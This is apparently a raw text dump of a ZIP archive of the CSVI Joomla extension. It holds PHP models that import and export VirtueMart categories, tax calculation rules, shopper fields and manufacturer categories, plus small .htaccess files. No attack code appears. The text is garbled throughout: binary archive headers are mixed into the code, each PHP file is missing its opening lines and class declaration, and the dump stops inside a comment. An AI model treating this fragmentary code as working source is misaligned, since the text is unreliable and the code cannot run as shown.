      PK@y>\)9components/com_csvi/models/forms/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,:components/com_csvi/models/forms/com_virtuemart/index.htmlnuW+APK@y>\YGBcomponents/com_csvi/models/forms/com_virtuemart/export/product.xmlnuW+A PK@y>\XX?components/com_csvi/models/forms/com_virtuemart/export/calc.xmlnuW+A PK@y>\ooCcomponents/com_csvi/models/forms/com_virtuemart/export/userinfo.xmlnuW+A PK@y>\)@components/com_csvi/models/forms/com_virtuemart/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\XXCcomponents/com_csvi/models/forms/com_virtuemart/export/category.xmlnuW+A PK@y>\#o,,Acomponents/com_csvi/models/forms/com_virtuemart/export/index.htmlnuW+APK@y>\|*i Dcomponents/com_csvi/models/forms/com_virtuemart/export/orderitem.xmlnuW+A PK@y>\'7TT@components/com_csvi/models/forms/com_virtuemart/export/order.xmlnuW+A PK@y>\^Gcomponents/com_csvi/models/forms/com_virtuemart/export/manufacturer.xmlnuW+A PK@y>\y-Q Q Icomponents/com_csvi/models/forms/com_virtuemart/import/category_image.xmlnuW+A PK@y>\XXPcomponents/com_csvi/models/forms/com_virtuemart/import/manufacturer_category.xmlnuW+A PK@y>\GAfHcomponents/com_csvi/models/forms/com_virtuemart/import/category_path.xmlnuW+A PK@y>\^Ecomponents/com_csvi/models/forms/com_virtuemart/import/order_item.xmlnuW+A PK@y>\e| $$@components/com_csvi/models/forms/com_virtuemart/import/media.xmlnuW+A PK@y>\ LBcomponents/com_csvi/models/forms/com_virtuemart/import/product.xmlnuW+A PK@y>\VLL@components/com_csvi/models/forms/com_virtuemart/import/image.xmlnuW+A PK@y>\)@components/com_csvi/models/forms/com_virtuemart/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Ecomponents/com_csvi/models/forms/com_virtuemart/import/media_path.xmlnuW+A PK@y>\XX?components/com_csvi/models/forms/com_virtuemart/import/calc.xmlnuW+A PK@y>\#o,,Acomponents/com_csvi/models/forms/com_virtuemart/import/index.htmlnuW+APK@y>\y-Q Q Fcomponents/com_csvi/models/forms/com_virtuemart/import/media_image.xmlnuW+A PK@y>\^Gcomponents/com_csvi/models/forms/com_virtuemart/import/manufacturer.xmlnuW+A PK@y>\~Gcomponents/com_csvi/models/forms/com_virtuemart/import/product_path.xmlnuW+A PK@y>\Y[uCcomponents/com_csvi/models/forms/com_virtuemart/import/category.xmlnuW+A PK@y>\{oo+components/com_csvi/models/forms/export.xmlnuW+A PK@y>\uOmm+components/com_csvi/models/replacements.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('r.*, u.name AS editor'); $query->from('#__csvi_replacements AS r'); // Join the user table $query->leftJoin('#__users AS u ON u.id = r.checked_out'); // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } } ?>PK@y>\kύ ;components/com_csvi/models/com_csvi/import/customimport.phpnuW+A_loadTables(); $this->loadSettings(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; // Get the imported values $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDBO(); // Clean the tables $this->cleanTables(); // Bind the data $this->_custom_table->bind($this); // Store the data if ($this->_custom_table->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CUSTOM_FIELD')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CUSTOM_FIELD')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CUSTOM_FIELD_NOT_ADDED', $this->_custom_table->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CUSTOM_FIELD_QUERY'), true); } /** * Load the custom related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_custom_table = $this->getTable('custom_table'); } /** * Cleaning the custom related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_custom_table->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?> PK@y>\)4components/com_csvi/models/com_csvi/import/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,5components/com_csvi/models/com_csvi/import/index.htmlnuW+APK@y>\#o,,5components/com_csvi/models/com_csvi/export/index.htmlnuW+APK@y>\)4components/com_csvi/models/com_csvi/export/.htaccessnuW+A Order allow,deny Deny from all PK@y>\vw>>;components/com_csvi/models/com_csvi/export/customexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { // Man made fields, do not export them case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } // Export SQL Query // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from($db->quoteName("#__".$template->get('custom_table'))); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; $fieldreplace = $field->field_name.$field->column_header; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\#o,,.components/com_csvi/models/com_csvi/index.htmlnuW+APK@y>\)-components/com_csvi/models/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,4components/com_csvi/models/com_virtuemart/index.htmlnuW+APK@y>\)3components/com_csvi/models/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vw.GGGcomponents/com_csvi/models/com_virtuemart/import/shopperfieldimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'name': $this->$name = strtolower(JFilterInput::clean($value, 'alnum')); break; default: $this->$name = $value; break; } } // Check if we have a field ID if (empty($this->virtuemart_userfield_id)) $this->_getFieldId(); // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Check if a field needs to be deleted if ($this->shopperfield_delete == 'Y') { $this->_deleteShopperField(); } else { // Bind the data $this->_userfields->bind($this); // Check for modified data if (!isset($this->modified_on)) { $this->_userfields->modified_on = $this->date->toMySQL(); $this->_userfields->modified_by = $this->user->id; } // Add a creating date if there is no virtuemart_userfield_id if (empty($this->virtuemart_userfield_id)) { $this->_userfields->created_on = $this->date->toMySQL(); $this->_userfields->created_by = $this->user->id; } // Add the name field as Joomla doesn't bind it $this->_userfields->name = $this->name; // Store the data if ($this->_userfields->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_SHOPPERFIELD')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_SHOPPERFIELD')); // Create a field in the userinfos table if needed if ($this->type != 'delimiter') { switch($this->type) { case 'date': $fieldtype = 'DATE'; break; case 'editorta': case 'textarea': case 'multiselect': case 'multicheckbox': $fieldtype = 'MEDIUMTEXT'; break; case 'checkbox': $fieldtype = 'TINYINT'; break; default: $fieldtype = 'VARCHAR(255)'; break; } $query = "ALTER TABLE ".$db->quoteName('#__virtuemart_userinfos')." ADD COLUMN ".$db->quoteName($this->_userfields->name)." ".$fieldtype; $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_USERINFO_TABLE_QUERY'), true); } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SHOPPERFIELD_NOT_ADDED', $this->_userfields->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_SHOPPERFIELD_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the user field related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_userfields = $this->getTable('userfields'); } /** * Cleaning the user field related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_userfields->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Load the field ID for a fieldname * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getFieldId() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_userfield_id'); $query->from('#__virtuemart_userfields'); $query->where($db->quoteName('name').' = '.$db->Quote($this->name)); $db->setQuery($query); $this->virtuemart_userfield_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_GET_FIELD_ID'), true); } /** * Delete a shopper field * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteShopperField() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the shopperfield if ($this->_userfields->delete($this->virtuemart_userfield_id)) { $db = JFactory::getDbo(); // Delete the userinfos field $query = "ALTER TABLE ".$db->quoteName('#__virtuemart_userinfos')." DROP COLUMN ".$db->quoteName($this->name); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_USERINFOS_FIELD'), true); $db->query(); $csvilog->AddStats('deleted', JText::sprintf('COM_CSVIVIRTUEMART_SHOPPERFIELD_DELETED', $this->name)); } } } ?> PK@y>\$$?components/com_csvi/models/com_virtuemart/import/calcimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'currency_code_3': $this->$name = strtoupper($value); break; default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Bind the data $this->_calcs->bind($this); // Check the currency if (isset($this->currency_code_3)) { $this->_calcs->calc_currency = $this->helper->getCurrencyId($this->currency_code_3, $this->virtuemart_vendor_id); } // Check the data $this->_calcs->check(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_calcs->modified_on = $this->date->toMySQL(); $this->_calcs->modified_by = $this->user->id; } if (empty($this->_calcs->virtuemart_calc_id)) { $this->_calcs->calc_shopper_published = (isset($this->calc_shopper_published)) ? $this->calc_shopper_published : 1; $this->_calcs->calc_vendor_published = (isset($this->calc_vendor_published)) ? $this->calc_vendor_published : 1; $this->_calcs->calc_params = (isset($this->calc_params)) ? $this->calc_params : ''; $this->_calcs->created_on = $this->date->toMySQL(); $this->_calcs->created_by = $this->user->id; } // Store the data if ($this->_calcs->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CALC')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CALC')); // Process any categories if (isset($this->category_path)) { // Remove any existing categories for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_categories'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new categories if (is_null($this->_categorymodel)) $this->_categorymodel = new CsviModelCategory(); $this->_categorymodel->getStart(); $categories = explode('|', $this->category_path); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_categories'); foreach ($categories as $category) { $catid = $this->_categorymodel->getCategoryIdFromPath($category, $this->virtuemart_vendor_id); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$catid['category_id']); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_CATEGORY_QUERY'), true); } // Process any countries if (isset($this->country_name) || isset($this->country_2_code) || isset($this->country_3_code)) { // Remove any existing countries for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_countries'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new countries if (isset($this->country_name)) $countries = explode('|', $this->country_name); else if (isset($this->country_2_code)) $countries = explode('|', $this->country_2_code); else if (isset($this->country_3_code)) $countries = explode('|', $this->country_3_code); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_countries'); foreach ($countries as $country) { if (isset($this->country_name)) $cid = $this->helper->getCountryId($country); else if (isset($this->country_2_code)) $cid = $this->helper->getCountryId(null, $country); else if (isset($this->country_3_code)) $cid = $this->helper->getCountryId(null, null, $country); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$cid); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_COUNTRY_QUERY'), true); } // Process any shoppergroups if (isset($this->shopper_group_name)) { // Remove any existing countries for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_shoppergroups'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new shoppergroups $shoppergroups = explode('|', $this->shopper_group_name); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_shoppergroups'); foreach ($shoppergroups as $shoppergroup) { $sid = $this->helper->getShopperGroupId($shoppergroup); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$sid); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_SHOPPERGROUP_QUERY'), true); } // Process any states if (isset($this->country_name) || isset($this->country_2_code) || isset($this->country_3_code)) { // Remove any existing countries for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_states'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new countries if (isset($this->state_name)) $countries = explode('|', $this->state_name); else if (isset($this->state_2_code)) $countries = explode('|', $this->state_2_code); else if (isset($this->state_3_code)) $countries = explode('|', $this->state_3_code); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_states'); foreach ($countries as $state) { if (isset($this->state_name)) $sid = $this->helper->getstateId($state); else if (isset($this->state_2_code)) $sid = $this->helper->getstateId(null, $state); else if (isset($this->state_3_code)) $sid = $this->helper->getstateId(null, null, $state); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$sid); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_STATE_QUERY'), true); } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CALC_NOT_ADDED', $this->_calcs->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.01 */ private function _loadTables() { $this->_calcs = $this->getTable('calcs'); } /** * Cleaning the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.1 */ protected function cleanTables() { $this->_calcs->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PK@y>\O " "Ocomponents/com_csvi/models/com_virtuemart/import/manufacturercategoryimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'mf_category_delete': $this->$name = $this->mf_category_delete = strtoupper($this->_datafield); break; default: $this->$name = $value; break; } } // If we have no manufacturer category name we cannot continue if (empty($this->mf_category_name)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_MANUFACTURERCATEGORY_PATH_SET')); return false; } return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check if we have a manufacturer category ID, if not get it if (!isset($this->virtuemart_manufacturercategories_id)) $this->_getManufacturerCategoryId(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_manufacturer_categories->modified_on = $this->date->toSql(); $this->_manufacturer_categories->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_manufacturercategories_id)) { $this->_manufacturer_categories->created_on = $this->date->toSql(); $this->_manufacturer_categories->created_by = $this->user->id; } // Bind the data $this->_manufacturer_categories->bind($this); // User wants to delete the manufacturer if ($this->virtuemart_manufacturercategories_id && $this->mf_category_delete == "Y") { if ($this->_manufacturer_categories->delete($this->virtuemart_manufacturercategories_id)) { $csvilog->addDebug(JText::_('COM_CSVI_DELETE_MANUFACTURER_CATEGORY'), true); $csvilog->AddStats('deleted', JText::_('COM_CSVI_MANUFACTURER_CAT_DELETED')); } else $csvilog->AddStats('error', JText::sprintf('COM_CSVI_MANUFACTURER_CAT_NOT_DELETED', $this->_manufacturer_categories->getError())); } else if (!$this->virtuemart_manufacturercategories_id && $template->get('ignore_non_exist', 'general')) { // Do nothing for new categories when user chooses to ignore new categories if (isset($this->mf_category_name)) $value = $this->mf_category_name; else $value = ''; $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_IGNORE_NON_EXIST_DATA', $value)); } // User wants to add or update the manufacturer category else { if ($this->_manufacturer_categories->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER_CATEGORY')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER_CATEGORY')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_CATEGORY_NOT_ADDED', $this->_manufacturer_categories->getError())); $this->virtuemart_manufacturercategories_id = $this->_manufacturer_categories->virtuemart_manufacturercategories_id; // Store the language fields $this->_manufacturer_categories_lang->load($this->virtuemart_manufacturercategories_id); $this->_manufacturer_categories_lang->bind($this); // Check and store the language data if ($this->_manufacturer_categories_lang->check()) { if ($this->_manufacturer_categories_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURERCATEGORY_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURERCATEGORY_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURERCATEGORY_LANG_NOT_ADDED', $this->_manufacturer_categories_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURERCATEGORY_LANG_NOT_ADDED', $this->_manufacturer_categories_lang->getError())); return false; } // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MANUFACTURER_CATEGORY_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the manufacturer category related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_manufacturer_categories = $this->getTable('manufacturer_categories'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_manufacturercategories_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; $this->_manufacturer_categories_lang = $this->getTable('manufacturer_categories_lang'); } } /** * Cleaning the manufacturer related related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_manufacturer_categories->reset(); $this->_manufacturer_categories_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the manufacturer category ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed integer when category ID found | false when not found * @since 3.0 */ private function _getManufacturerCategoryId() { $this->_manufacturer_categories_lang->set('mf_category_name', $this->mf_category_name); if ($this->_manufacturer_categories_lang->check(false)) { $this->virtuemart_manufacturercategories_id = $this->_manufacturer_categories_lang->virtuemart_manufacturercategories_id; return true; } else return false; } } ?> PK@y>\1d < <Ccomponents/com_csvi/models/com_virtuemart/import/categoryimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Get the general category functions $this->_categoriesmodel = $this->getModel('category'); $this->_categoriesmodel->getStart(); // Load the helper $this->helper = new Com_VirtueMart(); // Check for vendor ID $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; default: $this->$name = $value; break; } } // If we have no category path we cannot continue if (empty($this->category_path)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_CATEGORY_PATH_SET')); return false; } return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Load the tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_categories = $this->getTable('categories'); $this->_medias = $this->getTable('medias'); $this->_category_medias = $this->getTable('category_medias'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if ($template->get('language', 'general') == $template->get('target_language', 'general')) $lang = $template->get('language', 'general'); else $lang = $template->get('target_language', 'general'); if (!in_array($db->getPrefix().'virtuemart_categories_'.$lang, $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; $this->_categories_lang = $this->getTable('categories_lang'); } } /** * Cleaning the tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_categories->reset(); $this->_medias->reset(); $this->_category_medias->reset(); $this->_categories_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $translate = false; // Load the category separator if (is_null($this->_catsep)) { $this->_catsep = $template->get('category_separator', 'general', '/'); } // Loop through all categories if we are importing a translation if (isset($this->category_path_trans)) { $trans_paths = explode($this->_catsep, $this->category_path_trans); $paths = explode($this->_catsep, $this->category_path); if (!is_array($paths)) $paths = (array)$paths; $translate = true; } else if ($template->get('language', 'general') == $template->get('target_language', 'general')) { $trans_paths = array($this->category_path); $paths = array($this->category_path); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANGUAGE_UNKNOWN', $template->get('language', 'general'), $template->get('target_language', 'general'))); return false; } // Process the paths foreach ($paths as $key => $path) { // Construct the full path $fullpath = array(); for($i=0; $i<= $key; $i++) { $fullpath[] = $paths[$i]; } $path = implode($this->_catsep, $fullpath); // First get the category ID if (empty($this->virtuemart_category_id)) { // Check if we are importing a translation $categoryid = $this->_categoriesmodel->getCategoryIdFromPath($path); // If we can't get a category ID we cannot continue if (!$categoryid) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_COULD_NOT_FIND_A_CATEGORY_ID')); return false; } else $this->virtuemart_category_id = $categoryid['category_id']; } // We have the category ID, lets see if it should be deleted if ($this->category_delete == 'Y') { $this->_deleteCategory(); } else { // Handle the images $this->_processMedia(); // Set some basic values if (!isset($this->modified_on)) { $this->_categories->modified_on = $this->date->toMySQL(); $this->_categories->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_category_id)) { $this->_categories->created_on = $this->date->toMySQL(); $this->_categories->created_by = $this->user->id; } // Check if the category_name matches the last entry in the category_path if (isset($this->category_name)){ $catparts = explode($this->_catsep, $this->category_path); end($catparts); if (current($catparts) != $this->category_name) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_NAME_NO_MATCH_CATEGORY_PATH')); return false; } } // All fields have been processed, bind the data $this->_categories->bind($this); // Now store the data if ($this->_categories->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CATEGORY_DETAILS')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CATEGORY_DETAILS')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_DETAILS_NOT_ADDED', $this->_categories->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_DETAILS_QUERY'), true); // Set the product ID $this->virtuemart_category_id = $this->_categories->virtuemart_category_id; // Store the language fields $this->_categories_lang->load($this->virtuemart_category_id); $this->_categories_lang->bind($this); // Set the translated category name if ($translate) { $this->_categories_lang->category_name = $trans_paths[$key]; } // Check and store the language data if ($this->_categories_lang->check()) { if ($this->_categories_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CATEGORY_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CATEGORY_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANG_NOT_ADDED', $this->_categories_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANG_NOT_ADDED', $this->_categories_lang->getError())); return false; } // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_DETAILS_QUERY'), true); } // Clean the tables $this->cleanTables(); $this->virtuemart_category_id = null; } } /** * Delete a category and its references * * @copyright * 